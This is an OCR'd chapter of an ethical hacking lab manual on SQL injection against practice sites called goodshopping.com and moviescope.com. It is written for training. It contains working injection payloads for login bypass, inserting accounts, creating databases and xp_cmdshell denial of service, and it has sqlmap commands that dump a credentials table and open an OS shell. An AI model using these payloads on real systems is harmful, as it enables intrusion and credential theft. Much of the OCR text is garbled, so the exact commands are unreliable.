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Module 15 - SQL Injection

SQL Injection
SOL injection is a technigue often used to attack a website and #t is also the most
common website vulnerability on the Internet.

Lab Scenario

The SQL Injection attack is performed by including portions of SQL statements in
a web form entry field in an attempt to get the website to pass a newly formed rogue
SQL command to the database (e.g,, dump the database contents to the attacker).
SQL injection is a code injection technique that exploits a security vulnerability in a
website's software. This vulnerability happens when user input is either incorrectly
filtered for string literal escape characters embedded in SQL statements or user input
is not strongly typed and unexpectedly executed. SQI commands are thus injected
from the web form into the database of an application (like queries) to change the
database content or dump the database information like credit card or passwords to
the attacker. SQL injection is mostly known as an attack vector for websites, but can
be used to attack any type of SQL database.

As an Expert Ethical Hacker, you must use diverse solutions, prepate statements with
bind variables and whitelisting input validation and escaping, Input validation can be
used to detect unauthotized input before it is passed to the SQL quety.

Lab Objectives

The objective of this lab is to provide expert knowledge on SQL Injection attacks
and other responsibilities that include:

® Understanding when and how web application connects to a database
server in order to access data

= Extracting basic SQL Injection flaws and vulnerabilities

7 Tools
demonstrated in = Testing web applications for Blind SQL Injection vulnerabilities
this lab are . .
available in = Scanning web servers and analyzing the reports
ZACEH- = Securing information in web applications and web servers
Tools\CEHv10
Module15Sal.  Lab Environment
Injection
To complete this lab, you will need:

= A computer running Windows Server 2016

=  Windows Server 2012 running on virtual machine

=  Windows 10 running on a virtual machine

=  Window 8 running on a virtual machine

= A web browser with an Internet connection

= Administrative privileges to configure settings and run the tools
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Module 15 - SQL Injection

Lab Duration
Time: 50 Minutes
Overview of SQL Injection

SQL Injection is a technique used to take advantage of non-validated input
vulnerabilities to pass SQIL commands through a web application for execution

by a backend database.
B rask 1 Lab Tasks
Overview Recommended labs to assist you in SQL Injection are:

= SQL Injection Attacks on MSSQL Database

=  Performing SQL Injection Attack against MSSQL to Extract Databases and
WebShell using SQLMAP

= Testing for SQL Injection using IBM Security AppScan Tool
=  Scanning Web Applications using N-Stalker T'ool

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion
on your target’s secutity posture and exposute.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.
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Module 15 - SQL Injection

SQL Injection Attacks on MSSQL
Database

SOL Injection is a basic attack used either to gain unauthorized access to a database
or to retrieve information directly from 1.

—icon xev _ Lab Scenario

"7 Valuable Today, SQL Injection is one of the most common and perilous attacks that website’s

information software experience. This attack is performed on SQL databases that have weak
# Test your codes and this vulnerability can be used by an attacker to execute database queties to
_ knowledge ~ collect sensitive information, modify the database entries or attach a malicious code
B Web exercise resulting in total compromise of the most sensitive data.

(1 Workbook review A8 an Expert Penetration Tester and Security Administrator, you need to test web
applications running on the MS SQL Server database for vulnerabilities and flaws.

Lab Objectives

The objective of this lab is to provide students with expert knowledge on SQL
Injection attacks and to analyze web applications for vulnerabilities.

In this lab, you will learn how to:
= TLogonwithout valid credentials

= Test for SQL Injection
7 Tools
demonstrated in
this lab are = Cteate your own database
available in
Z\CEH-
Tools\CEHV10 =  Enforce Denial-of-Setvice attacks
Module 15 SQL
Injection

= (Create your own usef account

= Directory listing
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H Ttask 1

Logon without
Valid Credential

rd I'ry logging on using
code ' or1=1— as login
name.

Module 15 - SQL Injection

Lab Environment

To complete this lab, you will need:
= A computer running Window Server 2016 (Victim Machine)
= A computer running Window Server 2012 (Attacker Machine)
= The MS SQL Setver must be running under local system ptivileges

= A web browser with an Internet connection

Lab Duration

Time: 15 Minutes

Overview of SQL Injection Attacks

SQL Injection is a basic attack used either to gain unauthorized access to a database
or to retrieve information directly from the database. It is a flaw in web
applications and not a database or web-server issue. Most programmers are still
not aware of this threat.

Lab Tasks

Blind SQL Injection is used when a web application is vulnerable to an SQL
injection but the results of the injection are not visible to the attacker.

Blind SQL Injection is identical to normal SQL Injection, except that, when an
attacker attempts to exploit an application, rather than seeing a useful error
message, a genetic custom page displays.

In this lab, the machine hosting the website is the victim machine (i.c., Windows
Server 2016); and the machine used to perform SQL Injection attack is Windows
Server 2012 machine.

1. Before starting this lab make sure that you have logged into Windows Server
2016 and Windows Server 2012,

2. In Windows Setver 2012 machine lTaunch a web browser, type
http/www.goodshopping.com in the address bar, and press Enter. In this
lab we ate using chrome web browser. If you are using any other browser
then screenshots will vary in your lab environment.

3. 'The goodshopping home page appears, as shown in the screenshot:
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Module 15 - SQL Injection

4. Assume that you are new to this site and have never registered with it. Now
click LOGIN.

77 When the attacker
enters blah’ or 1=1, then
the SQI. query look like CATALOG G CONTACT US
this:

SELECT Count(*) FROM
Users WHERE,
UserName="blah" Or 1=1 -
- AND Password ="

FIGURE 1.1: GOOD SHOPPING login page

5. 'Type the quety blah' or 1=1 -- in the Username field (as your login name),
and leave the password field empty.

6. Click Log in.

FIGURE 1.2: Performing Blind SQL.

7. Youare logged into the website with a fake login. Though your credentials
are not valid. Now you can browse all the site’s pages as a registered member.

8. After browsing the site, click Logout.

QA user enters a user

name and password that SozdSapang -
matches a record in the R A e —
Users table.
GOOD SHOPPING
PRODUCT CATALOG BOG CONTACT US Bens 2
it [0 Sl ) )
FIGURE 1.3 Website login successful
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EL) Different databases
require different SQI.
syntax. Identify the
database engine used by the
server,

/'l'ry to insert a string
value where a number is
expected in the input field.

m A dynamically
generated SQLL query is
used to retrieve the number
of matching rows.

Module 15 - SQL Injection

9. You have successfully logged out of the vulnerable site, and close the web
browser.

10. Before performing the next task ie., Creating a User Account with the SQL
Injection query, first let us confirm with the Login database of
GoodShopping.

11. Switch to Windows Setver 2016 machine and navigate to Start - Microsoft
SQL Server Tools 17 and click Microsoft SQL Server Management
Studio 17.

12. Microsoft SQL Server Management Studio window appears with Connect to
Server pop-up, choose Windows Authentication in the Authentication field

and click Connect.
Q‘ Connect to Server X
SQL Server
Server type: Database Engine v
Server name: SERVER2016\SQLEXPRESS v
Authentication: IWndaws Authentication v

Help Options >>

FIGURE 1.4: Connect to SQI. server

13. Microsoft SQL Server Management Studio window appears as shown in
the screenshot. In the left pane of Object Explorer cxpand Databases =
GoodShopping > Tables. In Tables rightclick dbo.Login and click
Select Top 1000 Rows from the context menu to view the available
credentials.

Tas Maroso SQL Server Management Sudio (Adminntrator) Vi P
Fde 10 Viw Debup Took Widew Melp
Qe -t M By BRI BE

Otyect Laphores B
Connect> ¥ "§ (T
B SURVIRISBIOUDPRLSS (G Server 1401000 . SURVIRS)

FIGURE 1.5: Website login successful
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H task 2

Create Your Own
User Account

) To deteet QL
Injection, check if the web
application connects toa
database server in order to
access some data.

Module 15 - SQL Injection

14. As you can see in the database we have only one entry i.e., smith and
smith123.

Aoy sql - TRVIRI0VSOLDPRESS GoodShopping (SURVERIDV\Adminvatrator (33) - Microncht 508 Server Managama... -+ L#nh (01 E)
e Vew OQuey Pojet Debug  Tooh  Window Melp

DL EP BNy RRO2BIXAE D |8

SN Geosibeppiny < b Dby s VEBEIPREARD 39 SR,

1eeees Seript for SelectTophhows command froe 54
SELECT 100 (3009) [loginid)
{usernase) -
{password)
on [Goodsheppiag] [dbo). [Login)

Curment Connection parametery
EENP

18 SURVIROGSOUDXPRESS (S0 Server 140.1900 - SERVI
- Ostabases © Agaregate Statin

X W Syem Ostsbares
+ 70 Dstebase Snapshots

2019

ERVIR0N\SOUEXPRE

- Tables 1ate pe
u W System Tables B Connection
& W FheTables Connection name  SERVER20)6\SQUEXPRE|
o W Gtemal Tobles . |8 Conmection Dotais
& W8 Graph Tobles % <4 »
+ 0 dvologin

2 W Vieas 0 Ry g Messager

W Etemat Resounces ogred eamane  paswind

1 )

FIGURE 1.6: SQL database entries

15. Switch back to Windows Server 2012 machine, and launch a browser and
type http:/iwww.goodshopping.com in the address bar of the browser and
press Enter. The GOOD SHOPPING home page appeats, as shown in the
screenshot:

16. Click LOGIN, and type the quety blah'jinsert into login values
(iohn','apple123'); -- in the Username field (as your login name), and leave
the password field empty as shown in the screenshot.

17. Click Log in.

poing.com/ ™

x

FIGURE 1.7: Creating a user account

18. If no etror message is displayed, it means that you have successfully created
your login using an SQL injection query.
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Module 15 - SQL Injection

19. After executing the query, to verify whether your login has been created
successfully, click LOGIN tab, enter john in the Username field and
apple123 in the Password ficld, and click Log in.

ﬂ;l Error messages are
essential for extracting
information from the
database. Depending on
the type of errors found,
you can vary the attack
techniques.

FIGURE L& Logging in tothe website
20. You will legin successfully with the created login. Now you can access all
the features of the website.

21. Click Logout after browsing the required pages, and close the browser
window

C | @ wwwigoodshopping.com/indesspx o
» Fuvccises -_a Logout
GOOD SHOPPING

PRODUCT CAIALOG BLOG COMTACT US Bems 2 § 1650.00 T Your Cart

o A . g A . 6 R
FIGURE 1.9: Log in suceessful
22, Switch back to the Windows Server 2016 virtual machine.

23, Right-click dbo.Login, and click Select Top 1000 Rows from the context
menu as shown in the screenshot.

UGy 14 - (VIS Admicatitor (57) - Microseft Y3 Serve Monogera... 1+~ (1121 Famra - |
Gt Vew Pojet Debug  Took  Window  Melp
0-0|B-u-LuP ANwony BR2222( V0 (V-0 8] T
L por Dmcve Ovbog & 7 12 08 FlaABRD P
Otyect Liplorer .9 x

Seesst seript for SelectTophiows commend from 54
- SELECT TOP (3009) [leginid)
8 SURVERIOI6SCLOPRLSS (501 Server 140,000 - SERV & {usernane]

= Datbases [password]

o System Dstabares Fho [Goodshepping) . [dbo) . [Login)

- o
m Understanding the & # Dutabase Dung [[SelectTop V00 Rows ]

underlying SQL query § W SymemTs  Script Tabless ’
allows the attacker to craft o T Connection name SERVER20V\SOLEXPRE
correct SQL Injection B 8 kot W dcmery Optimiion Adckio [ e 00000
statements. » ; .

Uncrypt Cotumns P
5 W CtemalResey Fub-Test indes » g wemame s
8 Syoonym w-h 12}

FIGURE 1.1(: Selecting Top 1000 Rows
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m Mostly the error
messages show you what
DB engine you are working
on with ODBC errors, It
displays database type as
part of the driver
information.

S0 Couery5q) - SERVIRI0NSCLIXPRISS GoodShoppeny (SURVIRIOM Adaristrator (531) - Micredoft 0L Serves Manageme.. -+ 120 (100

0-0[8-4
¥ M| GoodShopping

Comect> § ¥ & T & »
B SERVEROIASQUDPRESS (SQL Server 14.0.4000 - SERVI =

Module 15 - SQL Injection

24. Observe that the username and password have been successfully added to
the goodshopping database.

25. Note down the available databases and then close the SQL Setrver
Management Studio window.

e |
(it Veew Query Projet  Debug  Tooh Wimdow bl

L RP ANy BARZB28 00 |- 8] LN
- bleom Dby s VEE@E PRE ARD

ectTopiows command from 54
tnta) -
{vsernome) —Snnuls

O Aggregete Statun

Current (ornection porameteny

- Dt [possword)
on [Goodshapping) . (dbe) [Login)

B Conmection
Connection name  SERVERIO0.SCLOPRE
% 9 Gtemal Tobles . |& Commection Detans
& W Geaph Tobles YR » ection elape 00001
R Rests o Mossages
bord  senene  puasword "
i Symenym 1 3 [ 2 ection st ¢ o

as R T ——Y -

H task 3

Create Your Own
Database

FIGURE 1.11: Table containing the created usernames and passwords

26. Switch back to the Windows Server 2012 virtual machine.

27. Launch the browset, type http:/www.goodshopping.com in the address
bar, and press Enter.

28. The Home Page of GOOD SHOPPING appears.

29. (lick LOGIN, type blah';icreate database mydatabase; - in the
Username field, leave the Password field empty, and click Login.

30. In the above query, mydatabase is the name of the database.

rd Try to replicate an
error-free navigation, which
coukd be as simple as” and
1"="10r "and"'1'="2,

FIGURE 1.12: Creating a database

31. If no etror message (or any message) displays on the web page, it means that
the site is vulnerable to SQL injection; a database with the name mydatabase
has been created at the database server. Close the browser.

32. Switch back to Windows Server 2016 victim machine, and launch the SQL
Server Management Studio and log in.
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@ Time delays are a
type of blind SQI. Injection
that causes the SQL engine
o execute a Jong-running
query or a time delay
statement, depending on
the logic injected.

EH rask 4

Denial-of-Service
Attack

K Use the bulk insert
statement to read any file
on the server, and use bep
1o create arbitrary text files
on the server.

Module 15 - SQL Injection

33. The Microsoft SQL Server Management Studio main window appears, as
shown in the screenshot:

34, Expand the Databases node. A new database has been created with the
name mydatabase.

s Mhcrosot SQU Server Mamsgement Studie (Admenatiater)
Fie f[de  View Debug Took Wadow Help
0-0|8-u-LUNd BNy B8
| Obyect Explorer -3 x
| Conmect= ¥ =T C+
B SORVERRIOSOUDPRESS (SO Server 14,1000 - SERVERZ)
" Detsbeses

gal2-<-18 Gy

FIGURE 1.13: juggyboy database successfully created
35. Close the Microsoft SQL Server Management Studio window.
36. Switch back to Windows Server 2012 virtual machine.

37. Launch the web browser, type http://www.goodshopping.com in the
address bar, and press Enter.

38. The Home page of GOOD SHOPPING appears.

39. Click LOGIN, type blah';exec master.xp_cmdshell ‘ping
www.certifiedhacker.com - 65000 -t'; -- in the Username field, leave
the Password ficld empty, and click Log in.

FIGURE 1.14: Performing Dentl of Service Anack

40. In the above query, you ate petforming a ping for the
www.certifiedhacker.com website using an SQL Injection query: -1 is
the sent buffer size, and -t refers to pinging the specified host.
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Module 15 - SQL Injection

41. The SQL injection query starts pinging the host, and the login page shows a
Waiting for www.goodshopping.com... message at the bottom of the
window.

X | @ Mot secure | www.gcadshopaing.com/®

m Once you determine
the usernames, you can
start gathering passwords:

Username: " union select

prsword1 fom e x

where username = "admin’-

Pazaword

FIGURE 1.15: SQL injection query starts pinging the host

B i 42. 'To see whether the query has successfully executed, switch back to Windows
sp_Or\znngte,e Server 2016.
::821(\;4:1":1::; system 43, TLaunch Task Manager.

stored procedures to create

Ol Automation (ActiveX) 44. In Task Manager, under the Details tab, you see a process called PING.EXE

applications that can do PR

Sryihiog 0 ASKeciish running in the background.

can do.
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EL The avacker then
selects the string from the
table, as before:

Username: " union select
ret,1,1,1 from foo--

Microsoft OLE DB
Provider for ODBC
Drivers error '80040¢07

Module 15 - SQL Injection

45. This process is the result of the SQL Injection query that you entered in the

login field of the web site.

1 Task Manager - =] X
File Options View
 Processes Performance Users Details Services

Name A PID Status User name CPU Memory (p... Description

“PING.EXE 3632 Runni MSSQIss.. 00 B33 K_ TCP/IP Ping Command

“|RuntimeBroker.exe 1232 Running Admi 00 3,360K Runtime Broker

¥ SearchUl.exe 3344 Suspended Administr... 00 120K Search and Cortana app...
A services.exe 548 Running SYSTEM 00 3,348K Services and Controller ...
- ShellExperienceHost.... 3256 Running Administr... 00 19,812K  Windows Shell Experien...
i sihost.exe 1656 Running Administr... 00 2,960 K Shell Infrastructure Host
& smartscreen.exe 4104 Running Administr... 00 3120K SmartScreen

1 smss.exe 264 Running SYSTEM 00 272K Windows Session Mana...
1 snmp.exe 1772 Running SYSTEM 00 2,528K SNMP Service

= spoolsv.exe 1796 Running SYSTEM 00 4248K Spooler SubSystem App
[ sqlservr.exe 5036  Running MSSQLSS... 00 208,932K SQL Server Windows NT...
[ sqlwriter.exe 2068 Running SYSTEM 00 1,132K  SQL Server VSS Writer - ...
[37 svchost.exe 628 Running SYSTEM 00 4364 K Host Process for Windo...
[37 svchost.exe 684 Running NETWORK... 00 3,384K Host Process for Windo...
[ svchost.exe 836 Running NETWORK... 00 2,996 K Host Process for Windo...
[ svchost.exe 864 Running SYSTEM 00 7,036 K Host Process for Windo...
[Esvchost.exe 904 Running LOCAL SE... 00 10,736 K Host Process for Windo...
[ svchost.exe 1020 Running SYSTEM 00 2,084K Host Process for Windo...
[3 svchost.exe 280 Running SYSTEM 00 15,876 K Host Process for Windo...
[#svchost.exe 8 Running LOCAL SE... 00 4860 K Host Process for Windo...
[% svchost.exe 1028 Running LOCAL SE... 00 5852 K Host Process for Windo...
[#]svchost.exe 1040 Running LOCAL SE... 00 1,280K Host Process for Windo...
[ cvrhnct eve N4 Runninn NETWORK. oo 5356 K Hnct Procesc for Windn.
() Fewer details

v

FIGURE 1.16: Task Manager displaying the ping process

46. To manually kill this process, right-click PING.EXE, and click End Process.
This stops/prevents the website from pinging the host.

Lab Analysis

Analyze and document the results related to this lab exercise. Provide your opinion

of your target’s secutity posture and exposute.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS

RELATED.

Intemet Connection Required

O Yes No
Platform Supported
M Classroom M iLabs
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Module 15 - SQL Injection

Performing SQL Injection Attack
against MSSQL to Extract
Databases and WebShell using
SQLMAP

o r—r————
ICON KEY

SQOIMAP is an gpen sonrce penctration testing tool that antomates the process of
detecting and excploiting SQL. injection flaws and taking over of database servers.

I7=7 Valuable
information I b s =

# Test your L i . - .
knowledge SQL injection is a technique used to take advantage of un-sanitized input

Web exercise

vulnerabilities to pass SQL commands through a web application for execution
by a backend database. SQL injection is a basic attack used to either gain

EQ Workbook review  unauthorized access to a database or to retrieve information directly from the
database. It is a flaw in web applications and not a database or web server issue.

Lab Objectives

7 Tools The objective of this lab is to help students learn how to perform a SQL injection
demonstratedin ,ack and extract databases

this lab are

available at -

ZACER. Lab Environment

Tools\CEHv10 To complete this lab, you will need:

Module 15 SQL

Injection =  Windows Server 2016 (Victim Machine)

Kali Linux machine (Attacker Machine)

Run this lab on Kali Linux machine

Make sure that Windows Server 2016 machine is ranning
A web browser with Internet access

Microsoft NET Framework Version 4.0 or later

CEH Lab Manual Page 1238
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Module 15 - SQL Injection

Lab Duration

Time: 10 Minutes

Overview of Testing Web Applications

Web applications are tested for implementing security and automating vulnerability
assessments. Doing so prevents SQL injection attacks on web servers and web

applications. Websites are tested for embedded malware and by employing multiple
techniques.

Lab Tasks

1. Logon to Kali Linux machine with Username: root and Password: toor

_Horask 1
Login to 2. Before starting this lab assume that you ate registered a user on the
MovieScope http//www.moviescope.com website. And you want to crack the passwords

of the other users from the database of the moviescope.

3. Open a web browser and login into the httpJ/iwww.moviescope.com as
Username: sam and Password: test@123

4. Once you are logged into the website click View Profile tab, and make a note
of the URL in the address bar of the browser.

5. Right-click anywhere on the webpage and click Inspect Element (Q) from
the context menu as shown in the screenshot.

- e = Motills Firefex

[3 Hame  MoveScepe x| #

] | Sear we +r o

ooy RRCHershe Securty W, %all Unux S Kall Docs SKall 1aals & Fxplott 08 Wy Alvrack rg gKsll Forams W NetHintor & Gotting Started

Features Trailers Blog

sam profile

D: 1
First Name: sam
Last Name: houston
Emall: samgabc.com
Gender: male
Data of Birth, 10-10-1075
w Page lifa
Age: 38 Element {01

FIGURE 2.1: Inspect Element option
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Module 15 - SQL Injection

6. Developer Tools section appears as shown in the screenshot, click Console
tab and type document.cookie in the lower left corner of the browser and
press Enter.

ema - A oEee
0 Home - MovkeScape ® | &
€ AT COPE. LT 2 e s pa? = eatch e ¥ A9 =

B tost Vitteaw JJOffanse Secunty WKl Lnux W Kall Dacs W Kall Tocls » Bxpiat-DE Wy airerack-ng R¥al Forums S NetHunter @ Getting Stated

Features Trallers Photos Blog Contacts vikome sam View Profile

sam profile

1D: 1
First Name: sam

Laust N houston

= Danugger LI Style kel & Fertorma Netwark

2020720302 rVbrKGxn d

& ConTent fecirity Plicy: DirecTive 'Trams-sre Plozse usw 01rective ‘Lz’ et ey
s al et Frovams Ko lanl (0] s depumatond e pom n
" L cconid]

FIGURE 2.2 Roquesting the cookic value

7. Select the cookie value and right-click and Copy the value as shown in the
screenshot. Minimize the web browser.

Note: Cookie value may differ in your lab environment.

3

Flcme - Morie Seope - Mazills Firefox

0 Home - MorisScaps % |+

|

rch vEBe &0

8 Mot Visitee v IO nsve Secunty SKeb Livx SOKeli Does Kl Tools  Doiat-DD Wfircracene K. Torums S Netl iunter @ Celling Started

€ O W OIS COPR. COM o

Features Tralters Photos Contacts Viekzme sam View Profile

Blog

sam profile

1

1D:

First Name: sam

houston

Last Name:

rforma., O Memery = Netwark

£

COMRREARKIbIKben d20s

use o mte .
FIGURE 2.3: Copying the cookie value
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Module 15 - SQL Injection

8. Click Terminal icon from the taskbar to launch as shown in the screenshot.

FIGURE 24: Kali Linux — Desktop view

9. Type sqimap -u “httpJ//www.moviescope.comiviewprofile.aspx?id=1" -
<” kie value which you have copied in step #77> -dbs and
press Enter.

10. By issuing the above quety, sqlmap enforces vatious injection techniques on
the name parameter of the URL in an attempt to extract the database
information of moviescope website.

u “http www.moviescope,com/viewprofile.aspx?id=1 cookie="ui ]

ydNf8wro=

FIGURE 2.5: Getting databases in the SQL server

11. SQLmap retrieves the databases present in MS SQL Server. It also displays
information about the web server operating system, web application
technology and the back-end DBMS as shown in the screenshot.

Toat@all: ~ o0

[File Edr Vew Seach Termind Help
Payload: id=1 UNION ALL SELECT NULL,MNULL,CHAR(113)+CHAR(118)+CHAR(186)+CHAR(187)+CH i
AR(113) +CHAR(126) +CHAR(78) +CHAR(87) +CHAR{(67) +CHAR(116) +CHAR(88) +CHAR(110) +CHAR(
"HAR{65)+CHAR (1 75) +CHAR(117) +CHAR (88) +CHAR (107 ) +CHAR (101 ) +CHAR (68 ) +C
AR(119)+CHAR (113)+CHAR(72) +CHAR(98) +CHAR (108 .HAR'%:-(HAR(&JWHAR!114\+(HAR|1
CHAR(108) +CHAR (104 ) +CHAR ( 104) +CHAR ( 122) +CHAR

113),NULL, NULL , NULL, NULL, NULL , NULL ,NULL- - JCGY

02: 15] [INFO] the back-end DBMS is Microsoft SQL Server
operating system: Windows 10 or 2016
ion technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 16.0
t SQL Server 2016

DWConfigu atlon
DWDiagnostics
DWQueue
GoodShopping

moviescope
msdb
mydatabase
tempdb

shutting down at 02:
~#

FIGURE 2.6: Databascs present in the SQI. server
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Module 15 - SQL Injection

12. Now, you need to choose a database and use sqlmap to retrieve the tables in
the database. In this lab, we are going to determine the tables associated
with moviescope database. Now type sqimap -u
“http//www.moviescope.com/viewprofile.aspx?id=1” -cookie=<"cookie
value which you have copied in step #77> -D moviescope --tables and
press Enter. By issuing the above query, sqlmap starts scanning the
moviescope database in search of tables located in the database.

VoAl T

:~# sqlmap -u “"http://www.moviescope.com/viewprofile.aspx?id=1 cookie="ui-t

1bs-1=0; mscope=1jWydNf8wro D moviescope tables

FIGURE 27: SQLmap command to retrieve the tables in moviescope database

13. sqlmap retrieves the table contents of the moviescope database and displays
them as shown in the screenshot.

root@icll; ~ ]
File Cdi Vew Seath Temiod (el

ic UNION query (NULL) 16 columns

Payload: 1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(166)+CHAR(187)+CH
AR(113)+CHAR(126)+CHAR(78)+CHAR(87)+CHAR{67)+CHAR(116)+CHAR(88)+CHAR(116)+CHAR(71)+CHAR
(121)+CHAR{65)+CHAR(122)+CHAR(75)+CHAR(117)+CHAR(88)+CHAR(107 ) +CHAR(101)+CHAR (68 ) +CHAR(
01)+CHAR(119)+CHAR(113)+CHAR(72) +CHAR(98) +CHAR(108) +CHAR(98) +CHAR (82 ) +CHAR(114) +CHAR (1
+CHAR(108) +CHA ) +CHA +CHAR +CHAR(89) +CHAR(12 CHAR(85)+CHAR(98) +CHAR(7
CHAR(97)+CHAR (121} +CHAR(102)+CHAR(108) +CHAR(113)+CHAR(113)+CHAR({118) +CHAR{113)+CHAR(

3),NULL,NULL,NULL ,NULL,NULL,NULL ,NULL-- JCGY

9] [INFO] the bac nd DBMS is Microsoft SQL Server
- - g Windows 16 or 2016
web applicat NET, ASP.NET 4.0.30319, Microsoft IIS 16.0
yack-end DBMS: Mic S er 2016

Comments
Movie Details
User Loagin
User Profile

*] shutting down at 62:15:19
i~#
FIGURE 2.8: Tables present in the moviescope database

14. Now, you need to retrieve the columns associated with the tables. In this
lab, you will use sqlmap to retrieve the columns of the table named
"User_Login". For extracting columns information, you need to issue the
following sqlmap query: sqimap -u
“http/www.moviescope.com/viewprofile.aspx?id=1” -cookie=<"cookie
value which you have copied in step #77> -D moviescope -T User_Login
~columns. By issuing the above query, sqlmap starts scanning the
User_ILogin table inside moviescope database in search of columns.

oot @Rl - ()

# sqlmap -u "http://www.moviescope.com/viewprofile, aspx?id=1" cookie="ui-t M

; mscope=1jWydNf8wro=" -D moviescope -T User Login columns

FIGURE 29: Command to retricve the user bogin info
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Module 15 - SQL Injection

15. sqimap retrieved the available columns in the above mentioned table ie.,
User_Login as shown in the screenshot.
oGV ®

Hic edr h fermind Heip
( ) AR(126)+CHAR(78)+CHAR(87)+CHAR{67)+CHAR(116)+CHAR(88)+CHAR(116)+CHAR(
(121)+CHAR(65)+CHAR(122)+CHAR(75)+CHAR(11 CHAR(88)+CHAR(107)+CHAR(101)+CHAR(68)+CHAR(
1)+CHAR(119)+CHAR(113)+CHAR(72) +CHAR(98) +CHAR(108) +CHAR(98) +CHAR(82) +CHAR(114) +CHAR (1
)+CHAR(108) +CHAR (104 ) +CHAR( 104 ) +CHAR(122) +CHAR (89) +CHAR(121) +CHAR (85) +CHAR (98 ) +CHAR (7
+CHAR(97)+CHAR(121)+CHAR (182 HAR(168)+CHAR(113)+CHAR(113)+CHAR{118)+CHAR{113)+CHAR(
113) ,NULL,NULL,NULL ,NULL ,NULL,NULL,NULL-- JCGY

02:19:08] [INFO] the back-end DBMS is Microsoft SQL Server

web se operating system: Windows 10 or 2016

reb application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 18.0
vack-end DBMS: Microsoft SQL Server 2016

tabase: moviescope
Table: User_Login
4 columns]

| nvarchar
| int
Uname | nvarchar

[#] shutting down at ©2:19:08
= |
FIGURE 2.10: User login tablke retrieved by sqimap
16. Now type sqimap -u
“http//www.moviescope.com/viewprofile.aspx?id=1” -cookie=<"cookie
value which you have copied in step #77> -D moviescope -T User_Login
~dump and press Enter to dump the all User_Login table content
oo - L

/www.moviescope.com/viewprofile.aspx?id=1" --.cookie="ui-t

-D moviescope -T User Login --dump

:~# sqlmap -u "http
abs-1=0; mscope=1jWydNf8wro="

FIGURE 2.11: Dumping user profiles of moviescope website
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Module 15 - SQL Injection

17. Now the sqlmap has retrived the complete database of the moviescope which
contains the Username and Passwords of the users as shown in the
screenshot.

Tost@kall -

5)+CHAR(97)+CHAR(121)+CHAR(162)+CHAR(168)+CHAR(113)+CHAR(113)+CHAR{118)+CHAR({113)+CHAR(
NULL,NULL,NULL,NULL,NULL,NULL,NULL-- JCGY

071 [INFO] the back-end DBMS is Microsoft SQL Server
op ting syste Windows 18 or 2016
application technolog ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 10.0
back-end DBMS: Microsoft SQL Server 2016

: moviescope

FIGURE 2.12: Retriving the database of moviescope

18. To verify the login details are valid, you can login with the extracted login
details of any of the user. Before that close the Developer Tools console
and logout from the previous session in the browser and then login. In this
lab we are logging in with the user steve and password is test.

19. As you see in the below screenshot we have successfully logged into the
moviescope website with steve’s account.

Home - MoreScope - Mozilla Flrefor ®

wa & O =

Fosures  Talen | Phows Contaes v

steve profile eature > Trailers

ID:
First Name:

Last Name:

Emall steve@abe.com
Gender malo

Date of Birth 20-05-1983

hge: 20

Address DownTonn

Contact #: 1-202-509-8421
Cagnain Amarica: Marval

FIGURE 2,13 Steve’s account on moviescope
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Module 15 - SQL Injection

20. Now type sqimap -u

“http//www.moviescope.com/viewprofile.aspx?id=1” -cookie=<"cookie
value which you have copied in step #77> --os-shell and ptress Enter

/www.moviescope.com/viewprofile.aspx?id=4"
os-shell

Vool = L

cookie="ui-t

FIGURE 2.14: SQI.map command with moviescope as taget

21. sqlmap tries to optimize value(s) for DBMS delay responses message
appeats type Y and press Enter to continue.

AR(113)+CHAR(1
121)+CHAR(65)+CHAR(1

SQL rver
ITFOR DELA

Type
Title: Mi e
Payload: id=1 WAITFOR DELAY

y
UNION query (NULL)
Payload ALL

01)+CHAR(1 +CHAR(113)+CHAR(72)+CHA

9)+CHA 08)+CHA 04)+CHAR(104)+CHAR(122)+CHAR(89)+CHAR(12
1)+CHAR(102)+CHAR(108)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(

) +CHAR (12

ToREh - eo']

ked querie (comment )

base time-based blind (IF)
€

16 columns

SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(106)+CHAR(1
7)+CHAR(67)+CHAR(116)+CHAR(88)+CHAR(110)+CHAR(71)
5)+CHAR(117)+CHAR(88 HAR(187)+CHAR{

) +CHAR( HAR(98)+CHAR(82)+CHAR(114)+CHA
)+CHAR(85)+CHAR (98 ) +CHAR

13) ,NULL,NULL,NULL ,NULL,NULL ,NULL,NULL-- JCGY

» back-end [
ws

P.NET,

s Microsoft SQL Server
10 or 2016
ASP.NET 4.0.30319, Micro t IIS 10.0

ack-end DBMS: Mi soft SQL Server 2016

ijo you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time

sec')? [Y/n] Y .

2

FIGURE 2.15 Optimization of DBMS dehy responses option
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Module 15 - SQL Injection

22. Once sqlmap aquires the permission to optimize the machine, it will gives
you with the os-shell. Type hostname and press Enter to find the machine
name where the site is running,

ok - o9 ']

File  Eon n Termeal

nd DBMS i
: Windows
ASP.NET, T y oft IIS 10.0

Server

fo you want sqlmap to try to optimize value(s) for DBMS delay responses (option
sec')? (Y/n] ¥

FIGURE 2.16: Hostname command in sglmap

23. Do you want to retrieve the command standard output? message appears
type Y and press Enter,

oot - 0"]

Windows
ASP.NET, ASP.NET p ¢ I1S 10.0

Server

fo you want sqlmap to try to optimize value(s) for DBMS delay responses (option
sec')? [Y/n] ¥

stname

io you want to retrieve the command standard output? [Y/n/a] Y

FIGURE 2.17: Rettiving the standard output
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Module 15 - SQL Injection

24, 'Thus sqlmap will retrieves the hostaname as shown in the screenshot.

Note: If do you want to retrieve the command standard output? message
appeats type Y and press Enter.

fle Edt Vew Soawh Termind  Help

ToatEall GUU]

do you want sqllﬁap to try to optimize value(s) for DBMS delay responses (option
-sec')? [Y/n] Y

--time

-shell> hostname
you want to retrieve the command standard output? [Y/n/a] Y

command standard output: Server2016'

FIGURE 2.18: Retrieving hostnames

25. Type ipconfig and press Enter to know the IP configuration the machine.

root kel - ) o‘l

ile Fdt Vew Seavn Termind  Heln

command standard output: Server2016'
ipconfig

command standard output:

Windows IP Configuration

r Ethernet 4:

Connection-specific DNS Suffix
Link-local IPv6 Ad Iy (R
